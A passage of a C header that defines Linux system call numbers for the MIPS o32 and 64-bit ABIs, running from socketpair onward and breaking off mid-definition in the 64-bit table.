__NR_socketpair\t\t\t(__NR_Linux + 184)\n#define __NR_setresuid\t\t\t(__NR_Linux + 185)\n#define __NR_getresuid\t\t\t(__NR_Linux + 186)\n#define __NR_query_module\t\t(__NR_Linux + 187)\n#define __NR_poll\t\t\t(__NR_Linux + 188)\n#define __NR_nfsservctl\t\t\t(__NR_Linux + 189)\n#define __NR_setresgid\t\t\t(__NR_Linux + 190)\n#define __NR_getresgid\t\t\t(__NR_Linux + 191)\n#define __NR_prctl\t\t\t(__NR_Linux + 192)\n#define __NR_rt_sigreturn\t\t(__NR_Linux + 193)\n#define __NR_rt_sigaction\t\t(__NR_Linux + 194)\n#define __NR_rt_sigprocmask\t\t(__NR_Linux + 195)\n#define __NR_rt_sigpending\t\t(__NR_Linux + 196)\n#define __NR_rt_sigtimedwait\t\t(__NR_Linux + 197)\n#define __NR_rt_sigqueueinfo\t\t(__NR_Linux + 198)\n#define __NR_rt_sigsuspend\t\t(__NR_Linux + 199)\n#define __NR_pread64\t\t\t(__NR_Linux + 200)\n#define __NR_pwrite64\t\t\t(__NR_Linux + 201)\n#define __NR_chown\t\t\t(__NR_Linux + 202)\n#define __NR_getcwd\t\t\t(__NR_Linux + 203)\n#define __NR_capget\t\t\t(__NR_Linux + 204)\n#define __NR_capset\t\t\t(__NR_Linux + 205)\n#define __NR_sigaltstack\t\t(__NR_Linux + 206)\n#define __NR_sendfile\t\t\t(__NR_Linux + 207)\n#define __NR_getpmsg\t\t\t(__NR_Linux + 208)\n#define __NR_putpmsg\t\t\t(__NR_Linux + 209)\n#define __NR_mmap2\t\t\t(__NR_Linux + 210)\n#define __NR_truncate64\t\t\t(__NR_Linux + 211)\n#define __NR_ftruncate64\t\t(__NR_Linux + 212)\n#define __NR_stat64\t\t\t(__NR_Linux + 213)\n#define __NR_lstat64\t\t\t(__NR_Linux + 214)\n#define __NR_fstat64\t\t\t(__NR_Linux + 215)\n#define __NR_pivot_root\t\t\t(__NR_Linux + 216)\n#define __NR_mincore\t\t\t(__NR_Linux + 217)\n#define __NR_madvise\t\t\t(__NR_Linux + 218)\n#define __NR_getdents64\t\t\t(__NR_Linux + 219)\n#define __NR_fcntl64\t\t\t(__NR_Linux + 220)\n#define __NR_reserved221\t\t(__NR_Linux + 221)\n#define __NR_gettid\t\t\t(__NR_Linux + 222)\n#define __NR_readahead\t\t\t(__NR_Linux + 223)\n#define __NR_setxattr\t\t\t(__NR_Linux + 224)\n#define __NR_lsetxattr\t\t\t(__NR_Linux + 225)\n#define __NR_fsetxattr\t\t\t(__NR_Linux + 226)\n#define __NR_getxattr\t\t\t(__NR_Linux + 227)\n#define __NR_lgetxattr\t\t\t(__NR_Linux + 228)\n#define __NR_fgetxattr\t\t\t(__NR_Linux + 229)\n#define __NR_listxattr\t\t\t(__NR_Linux + 230)\n#define __NR_llistxattr\t\t\t(__NR_Linux + 231)\n#define __NR_flistxattr\t\t\t(__NR_Linux + 232)\n#define __NR_removexattr\t\t(__NR_Linux + 233)\n#define __NR_lremovexattr\t\t(__NR_Linux + 234)\n#define __NR_fremovexattr\t\t(__NR_Linux + 235)\n#define __NR_tkill\t\t\t(__NR_Linux + 236)\n#define __NR_sendfile64\t\t\t(__NR_Linux + 237)\n#define __NR_futex\t\t\t(__NR_Linux + 238)\n#define __NR_sched_setaffinity\t\t(__NR_Linux + 239)\n#define __NR_sched_getaffinity\t\t(__NR_Linux + 240)\n#define __NR_io_setup\t\t\t(__NR_Linux + 241)\n#define __NR_io_destroy\t\t\t(__NR_Linux + 242)\n#define __NR_io_getevents\t\t(__NR_Linux + 243)\n#define __NR_io_submit\t\t\t(__NR_Linux + 244)\n#define __NR_io_cancel\t\t\t(__NR_Linux + 245)\n#define __NR_exit_group\t\t\t(__NR_Linux + 246)\n#define __NR_lookup_dcookie\t\t(__NR_Linux + 247)\n#define __NR_epoll_create\t\t(__NR_Linux + 248)\n#define __NR_epoll_ctl\t\t\t(__NR_Linux + 249)\n#define __NR_epoll_wait\t\t\t(__NR_Linux + 250)\n#define __NR_remap_file_pages\t\t(__NR_Linux + 251)\n#define __NR_set_tid_address\t\t(__NR_Linux + 252)\n#define __NR_restart_syscall\t\t(__NR_Linux + 253)\n#define __NR_fadvise64\t\t\t(__NR_Linux + 254)\n#define __NR_statfs64\t\t\t(__NR_Linux + 255)\n#define __NR_fstatfs64\t\t\t(__NR_Linux + 256)\n#define __NR_timer_create\t\t(__NR_Linux + 257)\n#define __NR_timer_settime\t\t(__NR_Linux + 258)\n#define __NR_timer_gettime\t\t(__NR_Linux + 259)\n#define __NR_timer_getoverrun\t\t(__NR_Linux + 260)\n#define __NR_timer_delete\t\t(__NR_Linux + 261)\n#define __NR_clock_settime\t\t(__NR_Linux + 262)\n#define __NR_clock_gettime\t\t(__NR_Linux + 263)\n#define __NR_clock_getres\t\t(__NR_Linux + 264)\n#define __NR_clock_nanosleep\t\t(__NR_Linux + 265)\n#define __NR_tgkill\t\t\t(__NR_Linux + 266)\n#define __NR_utimes\t\t\t(__NR_Linux + 267)\n#define __NR_mbind\t\t\t(__NR_Linux + 268)\n#define __NR_get_mempolicy\t\t(__NR_Linux + 269)\n#define __NR_set_mempolicy\t\t(__NR_Linux + 270)\n#define __NR_mq_open\t\t\t(__NR_Linux + 271)\n#define __NR_mq_unlink\t\t\t(__NR_Linux + 272)\n#define __NR_mq_timedsend\t\t(__NR_Linux + 273)\n#define __NR_mq_timedreceive\t\t(__NR_Linux + 274)\n#define __NR_mq_notify\t\t\t(__NR_Linux + 275)\n#define __NR_mq_getsetattr\t\t(__NR_Linux + 276)\n#define __NR_vserver\t\t\t(__NR_Linux + 277)\n#define __NR_waitid\t\t\t(__NR_Linux + 278)\n/* #define __NR_sys_setaltroot\t\t(__NR_Linux + 279) */\n#define __NR_add_key\t\t\t(__NR_Linux + 280)\n#define __NR_request_key\t\t(__NR_Linux + 281)\n#define __NR_keyctl\t\t\t(__NR_Linux + 282)\n#define __NR_set_thread_area\t\t(__NR_Linux + 283)\n#define __NR_inotify_init\t\t(__NR_Linux + 284)\n#define __NR_inotify_add_watch\t\t(__NR_Linux + 285)\n#define __NR_inotify_rm_watch\t\t(__NR_Linux + 286)\n#define __NR_migrate_pages\t\t(__NR_Linux + 287)\n#define __NR_openat\t\t\t(__NR_Linux + 288)\n#define __NR_mkdirat\t\t\t(__NR_Linux + 289)\n#define __NR_mknodat\t\t\t(__NR_Linux + 290)\n#define __NR_fchownat\t\t\t(__NR_Linux + 291)\n#define __NR_futimesat\t\t\t(__NR_Linux + 292)\n#define __NR_fstatat64\t\t\t(__NR_Linux + 293)\n#define __NR_unlinkat\t\t\t(__NR_Linux + 294)\n#define __NR_renameat\t\t\t(__NR_Linux + 295)\n#define __NR_linkat\t\t\t(__NR_Linux + 296)\n#define __NR_symlinkat\t\t\t(__NR_Linux + 297)\n#define __NR_readlinkat\t\t\t(__NR_Linux + 298)\n#define __NR_fchmodat\t\t\t(__NR_Linux + 299)\n#define __NR_faccessat\t\t\t(__NR_Linux + 300)\n#define __NR_pselect6\t\t\t(__NR_Linux + 301)\n#define __NR_ppoll\t\t\t(__NR_Linux + 302)\n#define __NR_unshare\t\t\t(__NR_Linux + 303)\n#define __NR_splice\t\t\t(__NR_Linux + 304)\n#define __NR_sync_file_range\t\t(__NR_Linux + 305)\n#define __NR_tee\t\t\t(__NR_Linux + 306)\n#define __NR_vmsplice\t\t\t(__NR_Linux + 307)\n#define __NR_move_pages\t\t\t(__NR_Linux + 308)\n#define __NR_set_robust_list\t\t(__NR_Linux + 309)\n#define __NR_get_robust_list\t\t(__NR_Linux + 310)\n#define __NR_kexec_load\t\t\t(__NR_Linux + 311)\n#define __NR_getcpu\t\t\t(__NR_Linux + 312)\n#define __NR_epoll_pwait\t\t(__NR_Linux + 313)\n#define __NR_ioprio_set\t\t\t(__NR_Linux + 314)\n#define __NR_ioprio_get\t\t\t(__NR_Linux + 315)\n#define __NR_utimensat\t\t\t(__NR_Linux + 316)\n#define __NR_signalfd\t\t\t(__NR_Linux + 317)\n#define __NR_timerfd\t\t\t(__NR_Linux + 318)\n#define __NR_eventfd\t\t\t(__NR_Linux + 319)\n#define __NR_fallocate\t\t\t(__NR_Linux + 320)\n#define __NR_timerfd_create\t\t(__NR_Linux + 321)\n#define __NR_timerfd_gettime\t\t(__NR_Linux + 322)\n#define __NR_timerfd_settime\t\t(__NR_Linux + 323)\n#define __NR_signalfd4\t\t\t(__NR_Linux + 324)\n#define __NR_eventfd2\t\t\t(__NR_Linux + 325)\n#define __NR_epoll_create1\t\t(__NR_Linux + 326)\n#define __NR_dup3\t\t\t(__NR_Linux + 327)\n#define __NR_pipe2\t\t\t(__NR_Linux + 328)\n#define __NR_inotify_init1\t\t(__NR_Linux + 329)\n#define __NR_preadv\t\t\t(__NR_Linux + 330)\n#define __NR_pwritev\t\t\t(__NR_Linux + 331)\n#define __NR_rt_tgsigqueueinfo\t\t(__NR_Linux + 332)\n#define __NR_perf_event_open\t\t(__NR_Linux + 333)\n#define __NR_accept4\t\t\t(__NR_Linux + 334)\n#define __NR_recvmmsg\t\t\t(__NR_Linux + 335)\n#define __NR_fanotify_init\t\t(__NR_Linux + 336)\n#define __NR_fanotify_mark\t\t(__NR_Linux + 337)\n#define __NR_prlimit64\t\t\t(__NR_Linux + 338)\n#define __NR_name_to_handle_at\t\t(__NR_Linux + 339)\n#define __NR_open_by_handle_at\t\t(__NR_Linux + 340)\n#define __NR_clock_adjtime\t\t(__NR_Linux + 341)\n#define __NR_syncfs\t\t\t(__NR_Linux + 342)\n#define __NR_sendmmsg\t\t\t(__NR_Linux + 343)\n#define __NR_setns\t\t\t(__NR_Linux + 344)\n#define __NR_process_vm_readv\t\t(__NR_Linux + 345)\n#define __NR_process_vm_writev\t\t(__NR_Linux + 346)\n#define __NR_kcmp\t\t\t(__NR_Linux + 347)\n#define __NR_finit_module\t\t(__NR_Linux + 348)\n#define __NR_sched_setattr\t\t(__NR_Linux + 349)\n#define __NR_sched_getattr\t\t(__NR_Linux + 350)\n#define __NR_renameat2\t\t\t(__NR_Linux + 351)\n#define __NR_seccomp\t\t\t(__NR_Linux + 352)\n#define __NR_getrandom\t\t\t(__NR_Linux + 353)\n#define __NR_memfd_create\t\t(__NR_Linux + 354)\n#define __NR_bpf\t\t\t(__NR_Linux + 355)\n#define __NR_execveat\t\t\t(__NR_Linux + 356)\n#define __NR_userfaultfd\t\t(__NR_Linux + 357)\n#define __NR_membarrier\t\t\t(__NR_Linux + 358)\n#define __NR_mlock2\t\t\t(__NR_Linux + 359)\n#define __NR_copy_file_range\t\t(__NR_Linux + 360)\n#define __NR_preadv2\t\t\t(__NR_Linux + 361)\n#define __NR_pwritev2\t\t\t(__NR_Linux + 362)\n#define __NR_pkey_mprotect\t\t(__NR_Linux + 363)\n#define __NR_pkey_alloc\t\t\t(__NR_Linux + 364)\n#define __NR_pkey_free\t\t\t(__NR_Linux + 365)\n#define __NR_statx\t\t\t(__NR_Linux + 366)\n#define __NR_rseq\t\t\t(__NR_Linux + 367)\n#define __NR_io_pgetevents\t\t(__NR_Linux + 368)\n#define __NR_semget\t(__NR_Linux + 393)\n#define __NR_semctl\t(__NR_Linux + 394)\n#define __NR_shmget\t(__NR_Linux + 395)\n#define __NR_shmctl\t(__NR_Linux + 396)\n#define __NR_shmat\t(__NR_Linux + 397)\n#define __NR_shmdt\t(__NR_Linux + 398)\n#define __NR_msgget\t(__NR_Linux + 399)\n#define __NR_msgsnd\t(__NR_Linux + 400)\n#define __NR_msgrcv\t(__NR_Linux + 401)\n#define __NR_msgctl\t(__NR_Linux + 402)\n#define __NR_clock_gettime64\t(__NR_Linux + 403)\n#define __NR_clock_settime64\t(__NR_Linux + 404)\n#define __NR_clock_adjtime64\t(__NR_Linux + 405)\n#define __NR_clock_getres_time64\t(__NR_Linux + 406)\n#define __NR_clock_nanosleep_time64\t(__NR_Linux + 407)\n#define __NR_timer_gettime64\t(__NR_Linux + 408)\n#define __NR_timer_settime64\t(__NR_Linux + 409)\n#define __NR_timerfd_gettime64\t(__NR_Linux + 410)\n#define __NR_timerfd_settime64\t(__NR_Linux + 411)\n#define __NR_utimensat_time64\t(__NR_Linux + 412)\n#define __NR_pselect6_time64\t(__NR_Linux + 413)\n#define __NR_ppoll_time64\t(__NR_Linux + 414)\n#define __NR_io_pgetevents_time64\t(__NR_Linux + 416)\n#define __NR_recvmmsg_time64\t(__NR_Linux + 417)\n#define __NR_mq_timedsend_time64\t(__NR_Linux + 418)\n#define __NR_mq_timedreceive_time64\t(__NR_Linux + 419)\n#define __NR_semtimedop_time64\t(__NR_Linux + 420)\n#define __NR_rt_sigtimedwait_time64\t(__NR_Linux + 421)\n#define __NR_futex_time64\t(__NR_Linux + 422)\n#define __NR_sched_rr_get_interval_time64\t(__NR_Linux + 423)\n#define __NR_pidfd_send_signal\t(__NR_Linux + 424)\n#define __NR_io_uring_setup\t(__NR_Linux + 425)\n#define __NR_io_uring_enter\t(__NR_Linux + 426)\n#define __NR_io_uring_register\t(__NR_Linux + 427)\n#define __NR_open_tree\t(__NR_Linux + 428)\n#define __NR_move_mount\t(__NR_Linux + 429)\n#define __NR_fsopen\t(__NR_Linux + 430)\n#define __NR_fsconfig\t(__NR_Linux + 431)\n#define __NR_fsmount\t(__NR_Linux + 432)\n#define __NR_fspick\t(__NR_Linux + 433)\n#define __NR_pidfd_open\t(__NR_Linux + 434)\n#define __NR_clone3\t(__NR_Linux + 435)\n#define __NR_openat2\t(__NR_Linux + 437)\n#define __NR_pidfd_getfd\t(__NR_Linux + 438)\n\n#elif _MIPS_SIM == _ABI64\n\n/*\n * Linux 64-bit syscalls are in the range from 5000 to 5999.\n */\n#define __NR_Linux\t\t\t5000\n#define __NR_read\t\t\t(__NR_Linux +\t0)\n#define __NR_write\t\t\t(__NR_Linux +\t1)\n#define __NR_open\t\t\t(__NR_Linux +\t2)\n#define __NR_close\t\t\t(__NR_Linux +\t3)\n#define __NR_stat\t\t\t(__NR_Linux +\t4)\n#define __NR_fstat\t\t\t(__NR_Linux +\t5)\n#define __NR_lstat\t\t\t(__NR_Linux +\t6)\n#define __NR_poll\t\t\t(__NR_Linux +\t7)\n#define __NR_lseek\t\t\t(__NR_Linux +\t8)\n#define __NR_mmap\t\t\t(__NR_Linux +\t9)\n#define __NR_mprotect\t\t\t(__NR_Linux +  10)\n#define __NR_munmap\t\t\t(__NR_Linux +  11)\n#define __NR_brk\t\t\t(__NR_Linux +  12)\n#define __NR_rt_sigaction\t\t(__NR_Linux +  13)\n#define __NR_rt_sigprocmask\t\t(__NR_Linux +  14)\n#define __NR_ioctl\t\t\t(__NR_Linux +  15)\n#define __NR_pread64\t\t\t(__NR_Linux +  16)\n#define __NR_pwrite64\t\t\t(__NR_Linux +  17)\n#define __NR_readv\t\t\t(__NR_Linux +  18)\n#define __NR_writev\t\t\t(__NR_Linux +  19)\n#define __NR_access\t\t\t(__NR_Linux +  20)\n#define __NR_pipe\t\t\t(__NR_Linux +  21)\n#define __NR__newselect\t\t\t(__NR_Linux +  22)\n#define __NR_sched_yield\t\t(__NR_Linux +  23)\n#define __NR_mremap\t\t\t(__NR_Linux +  24)\n#define __NR_msync\t\t\t(__NR_Linux +  25)\n#define __NR_mincore\t\t\t(__NR_Linux +  26)\n#define __NR_madvise\t\t\t(__NR_Linux +  27)\n#define __NR_shmget\t\t\t(__NR_Linux +  28)\n#define __NR_shmat\t\t\t(__NR_Linux +  29)\n#define __NR_shmctl\t\t\t(__NR_Linux +  30)\n#define __NR_dup\t\t\t(__NR_Linux +  31)\n#define __NR_dup2\t\t\t(__NR_Linux +  32)\n#define __NR_pause\t\t\t(__NR_Linux +  33)\n#define __NR_nanosleep\t\t\t(__NR_Linux +  34)\n#define __NR_getitimer\t\t\t(__NR_Linux +  35)\n#define __NR_setitimer\t\t\t(__NR_Linux +  36)\n#define __NR_alarm\t\t\t(__NR_Linux +  37)\n#define __NR_getpid\t\t\t(__NR_Linux +  38)\n#define __NR_sendfile\t\t\t(__NR_Linux +  39)\n#define __NR_socket\t\t\t(__NR_Linux +  40)\n#define __NR_connect\t\t\t(__NR_Linux +  41)\n#define __NR_accept\t\t\t(__NR_Linux +  42)\n#define __NR_sendto\t\t\t(__NR_Linux +  43)\n#define __NR_recvfrom\t\t\t(__NR_Linux +  44)\n#define __NR_sendmsg\t\t\t(__NR_Linux +  45)\n#define __NR_recvmsg\t\t\t(__NR_Linux +  46)\n#define __NR_shutdown\t\t\t(__NR_Linux +  47)\n#define __NR_bind\t\t\t(__NR_Linux +  48)\n#define __NR_listen\t\t\t(__NR_Linux +  49)\n#define __NR_getsockname\t\t(__NR_Linux +  50)\n#define __NR_getpeername\t\t(__NR_Linux +  51)\n#define __NR_socketpair\t\t\t(__NR_Linux +  52)\n#define __NR_setsockopt\t\t\t(__NR_Linux +  53)\n#define __NR_getsockopt\t\t\t(__NR_Linux +  54)\n#define __NR_clone\t\t\t(__NR_Linux +  55)\n#define __NR_fork\t\t\t(__NR_Linux +  56)\n#define __NR_execve\t\t\t(__NR_Linux +  57)\n#define __NR_exit\t\t\t(__NR_Linux +  58)\n#define __NR_wait4\t\t\t(__NR_Linux +  59)\n#define __NR_kill\t\t\t(__NR_Linux +  60)\n#define __NR_uname\t\t\t(__NR_Linux +  61)\n#define __NR_semget\t\t\t(__NR_Linux +  62)\n#define __NR_semop\t\t\t(__NR_Linux +  63)\n#define __NR_semctl\t\t\t(__NR_Linux +  64)\n#define __NR_shmdt\t\t\t(__NR_Linux +  65)\n#define __NR_msgget\t\t\t(__NR_Linux +  66)\n#define __NR_msgsnd\t\t\t(__NR_Linux +  67)\n#define __NR_msgrcv\t\t\t(__NR_Linux +  68)\n#define __NR_msgctl\t\t\t(__NR_Linux +  69)\n#define __NR_fcntl\t\t\t(__NR_Linux +  70)\n#define __NR_flock\t\t\t(__NR_Linux +  71)\n#define __NR_fsync\t\t\t(__NR_Linux +  72)\n#define __NR_fdatasync\t\t\t(__NR_Linux +  73)\n#define __NR_truncate\t\t\t(__NR_Linux +  74)\n#define __NR_ftruncate\t\t\t(__NR_Linux +  75)\n#define __NR_getdents\t\t\t(__NR_Linux +  76)\n#define __NR_getcwd\t\t\t(__NR_Linux +  77)\n#define __NR_chdir\t\t\t(__NR_Linux +  78)\n#define __NR_fchdir\t\t\t(__NR_Linux +  79)\n#define __NR_rename\t\t\t(__NR_Linux +  80)\n#define __NR_mkdir\t\t\t(__NR_Linux +  81)\n#define __NR_rmdir\t\t\t(__NR_Linux +  82)\n#define __NR_creat\t\t\t(__NR_Linux +  83)\n#define __NR_link\t\t\t(__NR_Linux +  84)\n#define __NR_unlink\t\t\t(__NR_Linux +  85)\n#define __NR_symlink\t\t\t(__NR_Linux +  86)\n#define __NR_readlink\t\t\t(__NR_Linux +  87)\n#define __NR_chmod\t\t\t(__NR_Linux +  88)\n#define __NR_fchmod\t\t\t(__NR_Linux +  89)\n#define __NR_chown\t\t\t(__NR_Linux +  90)\n#define __NR_fchown\t\t\t(__NR_Linux +  91)\n#define __NR_lchown\t\t\t(__NR_Linux +  92)\n#define __NR_umask\t\t\t(__NR_Linux +  93)\n#define __NR_gettimeofday\t\t(__NR_Linux +  94)\n#define __NR_getrlimit\t\t\t(__NR_Linux +  95)\n#define __NR_getrusage\t\t\t(__NR_Linux +  96)\n#define __NR_sysinfo\t\t\t(__NR_Linux +  97)\n#define __NR_times\t\t\t(__NR_Linux +  98)\n#define __NR_ptrace\t\t\t(__NR_Linux +  99)\n#define __NR_getuid\t\t\t(__NR_Linux + 100)\n#define __NR_syslog\t\t\t(__NR_Linux + 101)\n#define __NR_getgid\t\t\t(__NR_Linux + 102)\n#define __NR_setuid\t\t\t(__NR_Linux + 103)\n#define __NR_setgid\t\t\t(__NR_Linux + 104)\n#define __NR_geteuid\t\t\t(__NR_Linux + 105)\n#define __NR_getegid\t\t\t(__NR_Linux + 106)\n#define __NR_setpgid\t\t\t(__NR_Linux + 107)\n#define __NR_getppid\t\t\t(__NR_Linux + 108)\n#define __NR_getpgrp\t\t\t(__NR_Linux + 109)\n#define __NR_setsid\t\t\t(__NR_Linux + 110)\n#define __NR_setreuid\t\t\t(__NR_Linux + 111)\n#define __NR_setregid\t\t\t(__NR_Linux + 112)\n#define __NR_getgroups\t\t\t(__NR_Linux + 113)\n#define __NR_setgroups\t\t\t(__NR_Linux + 114)\n#define __NR_setresuid\t\t\t(__NR_Linux + 115)\n#define __NR_getresuid\t\t\t(__NR_Linux + 116)\n#define __NR_setresgid\t\t\t(__NR_Linux + 117)\n#define __NR_getresgid\t\t\t(__NR_Linux + 118)\n#define __NR_getpgid\t\t\t(__NR_Linux + 119)\n#define __NR_setfsuid\t\t\t(__NR_Linux + 120)\n#define __NR_setfsgid\t\t\t(__NR_Linux + 121)\n#define __NR_getsid\t\t\t(__NR_Linux + 122)\n#define __NR_capget\t\t\t(__NR_Linux + 123)\n#define __NR_capset\t\t\t(__NR_Linux + 124)\n#define __NR_rt_sigpending\t\t(__NR_Linux + 125)\n#define __NR_rt_sigtimedwait\t\t(__NR_Linux + 126)\n#define __NR_rt_sigqueueinfo\t\t(__NR_Linux + 127)\n#define __NR_rt_sigsuspend\t\t(__NR_Linux + 128)\n#define __NR_sigaltstack\t\t(__NR_Linux + 129)\n#define __NR_utime\t\t\t(__NR_Linux + 130)\n#define __NR_mknod\t\t\t(__NR_Linux + 131)\n#define __NR_personality\t\t(__NR_Linux + 132)\n#define __NR_ustat\t\t\t(__NR_Linux + 133)\n#define __NR_statfs\t\t\t(__NR_Linux + 134)\n#define __NR_fstatfs\t\t\t(__NR_Linux + 135)\n#define __NR_sysfs\t\t\t(__NR_Linux + 136)\n#define __NR_getpriority\t\t(__NR_Linux + 137)\n#define __NR_setpriority\t\t(__NR_Linux + 138)\n#define __NR_sched_setparam\t\t(__NR_Linux + 139)\n#define __NR_sched_getparam\t\t(__NR_Linux + 140)\n#define __NR_sched_setscheduler\t\t(__NR_Linux + 141)\n#define __NR_sched_getscheduler\t\t(__NR_Linux + 142)\n#define __NR_sched_get_priority_max\t(__NR_Linux + 143)\n#define __NR_sched_get_priority_min\t(__NR_Linux + 144)\n#define __NR_sched_rr_get_interval\t(__NR_Linux + 145)\n#define __NR_mlock\t\t\t(__NR_Linux + 146)\n#define __NR_munlock\t\t\t(__NR_Linux + 147)\n#define __NR_mlockall\t\t\t(__NR_Linux + 148)\n#define __NR_munlockall\t\t\t(__NR_Linux + 149)\n#define __NR_vhangup\t\t\t(__NR_Linux + 150)\n#define __NR_pivot_root\t\t\t(__NR_Linux + 151)\n#define __NR__sysctl\t\t\t(__NR_Linux + 152)\n#define __NR_prctl\t\t\t(__NR_Linux + 153)\n#define __NR_adjtimex\t\t\t(__NR_Linux + 154)\n#define __NR_setrlimit\t\t\t(__NR_Linux + 155)\n#define __NR_chroot\t\t\t(__NR_Linux + 156)\n#define __NR_sync\t\t\t(__NR_Linux + 157)\n#define __NR_acct\t\t\t(__NR_Linux + 158)\n#define __NR_settimeofday\t\t(__NR_Linux + 159)\n#define __NR_mount\t\t\t(__NR_Linux + 160)\n#define __NR_umount2\t\t\t(__NR_Linux + 161)\n#define __NR_swapon\t\t\t(__NR_Linux + 162)\n#define __NR_swapoff\t\t\t(__NR_Linux + 163)\n#define __NR_reboot\t\t\t(__NR_Linux + 164)\n#define __NR_sethostname\t\t(__NR_Linux + 165)\n#define __NR_setdomainname\t\t(__NR_Linux + 166)\n#define __NR_create_module\t\t(__NR_Linux + 167)\n#define __NR_init_module\t\t(__NR_Linux + 168)\n#define __NR_delete_module\t\t(__NR_Linux + 169)\n#define __NR_get_kernel_syms\t\t(__NR_Linux + 170)\n#define __NR_query_module\t\t(__NR_Linux + 171)\n#define __NR_quotactl\t\t\t(__NR_Linux + 172)\n#define __NR_nfsservctl\t\t\t(__NR_Linux + 173)\n#define __NR_getpmsg\t\t\t(__NR_Linux + 174)\n#define __NR_putpmsg\t\t\t(__NR_Linux + 175)\n#define __NR_afs_syscall\t\t(__NR_Linux + 176)\n#define __NR_reserved177\t\t(__NR_Linux + 177)\n#define __NR_gettid\t\t\t(__NR_Linux + 178)\n#define __NR_readahead\t\t\t(__NR_Linux + 179)\n#define __NR_setxattr\t\t\t(__NR_Linux + 180)\n#define __NR_lsetxattr\t\t\t(__NR_Linux + 181)\n#define __NR_fsetxattr\t\t\t(__NR_Linux + 182)\n#define __NR_getxattr\t\t\t(__NR_Linux + 183)\n#define __NR_lgetxattr\t\t\t(__NR_Linux + 184)\n#define __NR_fgetxattr\t\t\t(__NR_Linux + 185)\n#define __NR_listxattr\t\t\t(__NR_Linux + 186)\n#define __NR_llistxattr\t\t\t(__NR_Linux + 187)\n#define __NR_flistxattr\t\t\t(__NR_Linux + 188)\n#define __NR_removexattr\t\t(__NR_Linux + 189)\n#define __NR_lremovexattr\t\t(__NR_Linux + 190)\n#define __NR_fremovexattr\t\t(__NR_Linux + 191)\n#define __NR_tkill\t\t\t(__NR_Linux + 192)\n#define __NR_reserved193\t\t(__NR_Linux + 193)\n#define __NR_futex\t\t\t(__NR_Linux + 194)\n#define __NR_sched_setaffinity\t\t(__NR_Linux + 195)\n#define __NR_sched_getaffinity\t\t(__NR_Linux + 196)\n#define __NR_cacheflush\t\t\t(__NR_Linux + 197)\n#define __NR_cachectl\t\t\t(__NR_Linux + 198)\n#define __NR_sysmips\t\t\t(__NR_Linux + 199)\n#define __NR_io_setup\t\t\t(__NR_Linux + 200)\n#define __NR_io_destroy\t\t\t(__NR_Linux + 201)\n#define __NR_io_getevents\t\t(__NR_Linux + 202)\n#define __NR_io_submit\t\t\t(__NR_Linux + 203)\n#define __NR_io_cancel\t\t\t(__NR_Linux + 204)\n#define __NR_exit_group\t\t\t(__NR_Linux + 205)\n#define __NR_lookup_dcookie\t\t(__NR_Linux + 206)\n#define __NR_epoll_create\t\t(__NR_Linux + 207)\n#define __NR_epoll_ctl\t\t\t(__NR_Linux + 208)\n#define __NR_epoll_wait\t\t\t(__NR_Linux + 209)\n#define __NR_remap_file_pages\t\t(__NR_Linux + 210)\n#define __NR_rt_sigreturn\t\t(__NR_Linux + 211)\n#define __NR_set_tid_address\t\t(__NR_Linux + 212)\n#define __NR_restart_syscall\t\t(__NR_Linux + 213)\n#define __NR_semtimedop\t\t\t(__NR_Linux + 214)\n#define __NR_fadvise64\t\t\t(__NR_Linux + 215)\n#define __NR_timer_create\t\t(__NR_Linux + 216)\n#define __NR_timer_settime\t\t(__NR_Linux + 217)\n#define __NR_timer_gettime\t\t(__NR_Linux + 218)\n#define __NR_timer_getoverrun\t\t(__NR_Linux + 219)\n#define __NR_timer_delete\t\t(__NR_Linux + 220)\n#define __NR_clock_settime\t\t(__NR_Linux + 221)\n#define __NR_clock_gettime\t\t(__NR_Linux + 222)\n#define __NR_clock_getres\t\t(__NR_Linux + 223)\n#define __NR_clock_nanosleep\t\t(__NR_Linux + 224)\n#define __NR_tgkill\t\t\t(__NR_Linux + 225)\n#define __NR_utimes\t\t\t(__NR_Linux + 226)\n#define __NR_mbind\t\t\t(__NR_Linux + 227)\n#define __NR_get_mempolicy\t\t(__NR_Linux + 228)\n#define __NR_set_mempolicy\t\t(__NR_Linux + 229)\n#define __NR_mq_open\t\t\t(__NR_Linux + 230)\n#define __NR_mq_unlink\t\t\t(__NR_Linux + 231)\n#define __NR_mq_timedsend\t\t(__NR_Linux + 232)\n#define __NR_mq_timedreceive\t\t(__NR_Linux + 233)\n#define __NR_mq_notify\t\t\t(__NR_Linux + 234)\n#define __NR_mq_getsetattr\t\t(__NR_Linux + 235)\n#define __NR_vserver\t\t\t(__NR_Linux + 236)\n#define __NR_waitid\t\t\t(__NR_Linux + 237)\n/* #define __NR_sys_setaltroot\t\t(__NR_Linux + 238) */\n#define __NR_add_key\t\t\t(__NR_Linux + 239)\n#define __NR_request_key\t\t(__NR_Linux + 240)\n#define __NR_keyctl\t\t\t(__NR_Linux + 241)\n#define __NR_set_thread_area\t\t(__NR_Linux + 242)\n#define __NR_inotify_init\t\t(__NR_Linux + 243)\n#define __NR_inotify_add_watch\t\t(__NR_Linux + 244)\n#define __NR_inotify_rm_watch\t\t(__NR_Linux + 245)\n#define __NR_migrate_pages\t\t(__NR_Linux + 246)\n#define __NR_openat\t\t\t(__NR_Linux + 247)\n#define __NR_mkdirat\t\t\t(__NR_Linux + 248)\n#define __NR_mknodat\t\t\t(__NR_Linux + 249)\n#define __NR_fchownat\t\t\t(__NR_Linux + 250)\n#define __NR_futimesat\t\t\t(__NR_Linux + 251)\n#define __NR_newfstatat\t\t\t(__NR_Linux + 252)\n#define __NR_unlinkat\t\t\t(__NR_Linux + 253)\n#define __NR_renameat\t\t\t(__NR_Linux + 254)\n#define __NR_linkat\t\t\t(__NR_Linux + 255)\n#define __NR_symlinkat\t\t\t(__NR_Linux + 256)\n#define __NR_readlinkat\t\t\t(__NR_Linux + 257)\n#define __NR_fchmodat\t\t\t(__NR_Linux + 258)\n#define __NR_faccessat\t\t\t(__NR_Linux + 259)\n#define __NR_pselect6\t\t\t(__NR_Linux + 260)\n#define __NR_ppoll\t\t\t(__NR_Linux + 261)\n#define __NR_unshare\t\t\t(__NR_Linux + 262)\n#define __NR_splice\t\t\t(__NR_Linux + 263)\n#define __NR_sync_file_range\t\t(__NR_Linux + 264)\n#define __NR_tee\t\t\t(__NR_Linux + 265)\n#define __NR_vmsplice\t\t\t(__NR_Linux + 266)\n#define __NR_move_pages\t\t\t(__NR_Linux + 267)\n#define __NR_set_robust_list\t\t(__NR_Linux + 268)\n#define __NR_get_robust_list\t\t(__NR_Linux + 269)\n#define __NR_kexec_load\t\t\t(__NR_Linux + 270)\n#define 